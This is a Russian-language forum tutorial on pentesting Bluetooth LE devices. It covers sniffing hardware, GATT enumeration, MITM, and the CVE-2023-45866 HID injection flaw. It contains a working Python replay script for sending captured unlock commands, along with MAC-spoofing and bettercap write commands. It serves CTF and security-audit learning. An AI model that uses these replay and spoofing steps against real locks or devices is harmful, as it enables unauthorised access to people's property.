На тёмном столе с разметкой лежат платы Ubertooth One и nRF52840, рука в синей перчатке держит щуп анализатора у антенны донгла. Рядом светится экран с Wireshark и терминалом, где зелёным выведено...


На IoT-CTF задача выглядела стандартно: BLE-замок, рядом смартфон-контроллер, нужно перехватить unlock-команду и повторить. Ubertooth One терял каждый третий пакет при channel hopping на BLE 4.2 - флаг забрала команда с nRF52840 Dongle, которая сняла полный capture за минуту. Вот и весь секрет: пентест Bluetooth и BLE на кастомном hardware - это про выбор правильного железа под конкретную задачу, а не про один универсальный сниффер. Ниже - полный цикл от перехвата advertising-пакетов до replay-атаки с конкретными командами, которые работают и на CTF, и при аудите безопасности BLE устройств.

Требования к окружению для пентеста Bluetooth и BLE​

[Применимо: аудит IoT-устройств, CTF, физический пентест беспроводных сетей]

Работает если:
  • Linux (Ubuntu 22.04+ / Kali 2024+), BlueZ 5.64+
  • Ubertooth One (прошивка 2024-R1+) или nRF52840 Dongle с прошивкой nRF Sniffer 4.x / Sniffle 1.10
  • Wireshark 4.0+ с BLE-диссектором
  • Python 3.10+, библиотека bleak (pip install bleak)
  • Для crackle: сборка из исходников (github.com/mikeryan/crackle)
  • RAM: от 4 ГБ (Wireshark с длинными capture жрёт 2+ ГБ)
Не работает если:
  • Целевое устройство использует LE Secure Connections (BLE 4.2+) с ECDH - crackle бессилен
  • Устройство на BLE 5.x с 2 Mbps PHY или Coded PHY - Ubertooth эти режимы не тянет
  • macOS/Windows без Linux VM - большинство инструментов требуют нативный Linux

BLE sniffing Ubertooth и nRF52 - перехват трафика Bluetooth Low Energy​

Перехват BLE-трафика (Network Sniffing, T1040) - отправная точка пентеста Bluetooth и BLE. Задача двуступенчатая: сначала поймать advertising-пакеты целевого устройства (ADV_IND - устройство принимает соединения, ADV_NONCONN_IND - только broadcast), затем следовать за connection event и захватить GATT-операции.

Ubertooth One запускается в promiscuous-режиме: ubertooth-btle -p -r capture.pcapng. Для слежения за конкретным MAC - ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r connection.pcapng. Тут есть архитектурная засада: Ubertooth проектировался под Bluetooth Classic (BR/EDR), а BLE-поддержку прикрутили программно. Channel hopping обрабатывается не на аппаратном уровне - по данным сравнительного тестирования (wai-works.com), при connection interval 7.5 мс потери пакетов достигают 35%, а в типичном сценарии с фитнес-трекером capture rate - около 76% против 98%+ у Nordic-чипа. Разница ощутимая.

nRF52840 Dongle (чип nRF52840; более старый nRF52832 тянет только базовые задачи BLE 4.x, без long range) с nRF Sniffer интегрируется в Wireshark через extcap-интерфейс: wireshark -i nRF_Sniffer -k. Аппаратная синхронизация с connection timing удерживает capture rate выше 95% даже на быстрых интервалах. Типичная ошибка новичка: nRF52840 донгл поставляется с USB-бутлоадером, который перезаписывается при прошивке Sniffer-firmware. Восстановить бутлоадер после этого можно только через J-Link/JTAG - так что для сниффинга лучше держать отдельный донгл, не тот, на котором вы разрабатываете.

Альтернативная прошивка - Sniffle от NCC Group (работает на CC26x2/CC1352 и nRF52): python3 scanner.py --rssi -40 --output scan.pcap для ближайших устройств с сильным сигналом, python3 sniffer.py --string "target_name" --output sniff.pcap для фильтрации по имени в advertising data.

В Wireshark два фильтра, которые экономят время: _ws.col.info contains "Sent Write Command" покажет ATT Write Commands от клиента - handle и value, которые часто напрямую маппятся на действия устройства. Фильтр btle.advertising_header.pdu_type == 0x05 выделит CONNECT_IND - пакеты инициации соединения с access address, по которому можно следить за connection events.

Ubertooth vs nRF52840: таблица выбора nRF52 hacking-инструментов​

КритерийUbertooth OnenRF52840 (nRF Sniffer / Sniffle)
BLE версииДо 4.0, частично 4.2BLE 5.2 полностью
Capture rate (7.5 мс interval)~35%* потери95%+
2 Mbps PHY / Coded PHY / CSA#2НетДа
Радиочастотный анализ спектра 2.4 ГГцДа (основное преимущество)Нет
Bluetooth Classic (BR/EDR)ДаНет
Интеграция с WiresharkЧерез ubertooth-btle (нестабильно на длинных сессиях)Нативный extcap
Стоимость~$120~$10-15 (донгл)
Основной сценарийBR/EDR, спектральная разведка, legacy BLE 4.0BLE 4.2-5.x: CTF, IoT-аудит, GATT-эксплуатация

Для CTF и аудита IoT-устройств nRF52840 - основной инструмент. Ubertooth нужен для радиочастотного анализа широкого спектра и работы с Bluetooth Classic, где Nordic-чипы бесполезны. За $10 донгл - это вообще лучшее соотношение цена/результат в BLE-пентесте.

Анализ BLE GATT сервисов и эксплуатация уязвимостей​

GATT (Generic Attribute Profile) определяет, как BLE-устройство структурирует данные: services группируют функциональность, characteristics содержат значения, descriptors описывают поведение характеристик. При пентесте Bluetooth и BLE именно GATT-профиль - основная атакующая поверхность: через writable-характеристики можно управлять устройством, через readable - вытянуть конфигурацию и firmware version (Peripheral Device Discovery, T1120).

Классический gatttool годится для интерактивной разведки: gatttool -i hci0 -b <MAC> -Iconnectcharacteristics. Для автоматизации - bleak:
Python:
import asyncio
from bleak import BleakClient

async def enum_gatt(addr):
    async with BleakClient(addr) as client:
        for svc in client.services:
            print(f"Service: {svc.uuid}")
            for ch in svc.characteristics:
                print(f"  {ch.uuid} | {','.join(ch.properties)}")

asyncio.run(enum_gatt("AA:BB:CC:DD:EE:FF"))
Что искать при энумерации GATT-характеристик:
  • Характеристики с write / write-without-response без требования аутентификации - прямой вектор управления устройством
  • Readable-характеристики с firmware version, serial number, device configuration - утечка информации
  • Кастомные UUID (не из реестра Bluetooth SIG) - проприетарная логика вендора, чаще всего без защиты вообще
  • Notification-характеристики без CCCD-защиты - подписка на чувствительные данные без авторизации
Через bettercap энумерация делается без кода: ble.recon onble.showble.enum <MAC>. Покажет services, characteristics и properties, после чего запись в конкретную характеристику - ble.write <MAC> <UUID> <HEX>.

MITM атака Bluetooth и replay - спуфинг BLE устройств​

Многие BLE-периферии не используют pairing/bonding. Без bonding Link Layer шифрование не активируется, ATT/GATT трафик идёт открытым текстом - в чём мать родила. Любой сниффер перехватывает handle и value из write-операции, после чего произвольный центральный узел подключается к устройству и повторяет запись. Вот и вся replay-атака.

Конкретный replay через bleak после перехвата данных из Wireshark:
Python:
import asyncio
from bleak import BleakClient

TARGET = "AA:BB:CC:DD:EE:FF"
CHAR_UUID = "0000ff01-0000-1000-8000-00805f9b34fb"  # UUID из GATT-энумерации
CMD = bytes.fromhex("01")  # значение из перехваченного пакета

async def replay():
    async with BleakClient(TARGET) as c:
        await c.write_gatt_char(CHAR_UUID, CMD)  # UUID надёжнее int handle across backends
        print(f"Replayed {CMD.hex()} to {CHAR_UUID}")

asyncio.run(replay())
Предусловия: устройство не проверяет source MAC (нет whitelisting по bonding), не использует nonce/counter для защиты от replay, соединение без шифрования. Если устройство фильтрует по MAC - спуфинг Bluetooth устройств через spooftooph -i hci0 -a <target_mac> или утилиту bdaddr.

Для полноценной MITM-атаки (Evil Twin, T1557.004) между телефоном и BLE-периферией - GATTacker. Он клонирует advertising-данные целевого устройства на втором BLE-адаптере, заставляя телефон подключиться к подставному узлу. Признаки GATTacker/BTLEJuice MITM в эфире: клонированные advertising с другим BD_ADDR, быстрые циклы connect/disconnect, дублированные Service UUID от разных адресов. Для этой атаки нужны два BLE-адаптера и физическая близость к обоим концам соединения.

CVE-2023-45866 - инъекция HID без аутентификации​

Bluetooth HID Hosts в BlueZ позволяют неаутентифицированному Peripheral-устройству (HID Device) установить зашифрованное соединение и отправлять keyboard reports - инъекция клавиатурного ввода без каких-либо действий пользователя на стороне Central (CWE-287, Improper Authentication).

CVSS 6.3 (MEDIUM), вектор CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Adjacent Network, без привилегий, без user interaction. EPSS 0.0788 (94-й перцентиль - Top 10% по вероятности эксплуатации в дикой природе). Затронуты: BlueZ 5.64 (Ubuntu 22.04 LTS), Google Android, Blu Products DASH. В MITRE ATT&CK ближе всего к Adversary-in-the-Middle (T1557) - удалённая инъекция HID-сообщений по радиоканалу без физического доступа к целевой системе. T1200 (Hardware Additions) тут не подходит - он предполагает физическое подключение оборудования.

На смартфонах атака срабатывает не всегда - результат сильно зависит от модели устройства и версии ОС, успех не гарантирован. Публичный PoC доступен на GitHub (Chedrian07/CVE-2023-45866-POC).

Crackle и атаки на шифрование LE Legacy Pairing​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Just Works, Passkey Entry и OOB - association models, доступные как в LE Legacy Pairing, так и в LE Secure Connections. Но в Legacy Pairing они используют слабую криптографию (TK/STK), которой стоит избегать при разработке устройств. Numeric Comparison доступна только в LE Secure Connections, использует ECDH и защищает от eavesdropping. От MITM - только при условии, что пользователь реально сверяет шестизначный код на обоих устройствах (а кто это делает?). На CTF и при реальном аудите Just Works нередко встречается у дешёвых IoT-устройств, что делает crackle основным инструментом расшифровки перехваченного трафика Bluetooth Low Energy.

Ограничения техник пентеста Bluetooth и BLE​

ТехникаНе работает когда
BLE sniffing через UbertoothBLE 5.x, 2 Mbps PHY, CSA#2
CrackleLE Secure Connections (ECDH), OOB pairing
Replay GATT writeNonce/counter на стороне устройства, bonding с LTK
MAC spoofingIdentity Resolving Key (IRK), resolvable private addresses
GATTacker MITMSecure Connections + Numeric Comparison с проверкой пользователем
BlueDucky (CVE-2023-45866)Пропатченный BlueZ, Android security patch 2024-01+, iOS 17.2+

Общее ограничение всех техник: физическая близость к цели. CVSS-вектор - Adjacent Network. Практический радиус: 8-10 м для Ubertooth в офисном окружении, 15-20 м для nRF52840 с внешней антенной. В зашумлённом RF-окружении (офис с десятками BLE-маячков и Wi-Fi на 2.4 ГГц) Ubertooth теряет пакеты из-за buffer overflow на USB 2.0 при 1000+ advertising packets/sec. nRF52840 справляется за счёт выделенных пакетных буферов, но и у него деградация начинается в торговых центрах с сотнями BLE-маяков.

Для отработки полного цикла атак на Bluetooth протокол стоит собрать минилаб: nRF52840 Dongle (~$10), ESP32 как BLE-периферию с кастомным GATT-сервисом (одна writable-характеристика, управляющая GPIO - программируется через Arduino IDE с BLE-библиотекой за полчаса), ноутбук с Kali. Перехватываете write через сниффер, реплеите через bleak - от sniffing до exploitation за вечер.

BLE-пентест в 2025 - не экзотика и не ниша для энтузиастов с паяльником. Значительная часть IoT-девайсов на моём столе использует BLE 4.x без Secure Connections. Производители ставят Just Works pairing на устройства, у которых есть экран и клавиатура - Passkey Entry или Numeric Comparison были бы реализуемы, но никто не заморачивается. Проблема не в протоколе: спецификация BLE 4.2+ даёт полный набор инструментов для безопасного pairing. Проблема в том, что security review BLE-профиля не попадает в бюджет разработки.

Ожидаю, что в ближайший год основной вектор сместится с crackle-атак на Legacy Pairing (устройств на BLE 4.0 объективно становится меньше) к эксплуатации логических ошибок в кастомных GATT-профилях. Там, где вендор накрутил свой протокол поверх BLE и забыл про авторизацию на уровне отдельных характеристик. На CTF-площадках этот сдвиг уже виден: задачи «сломай замок через replay» уступают задачам «разбери проприетарный протокол и найди логическую ошибку в state machine». Кастомный hardware для пентеста беспроводных сетей при этом стоит $25 - nRF52840 донгл и ESP32 на макетке. Порог входа ниже, чем кажется. Попробуйте собрать минилаб из раздела выше и сломать свой собственный BLE-замок - если он на Just Works, вы удивитесь, как быстро это получится.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab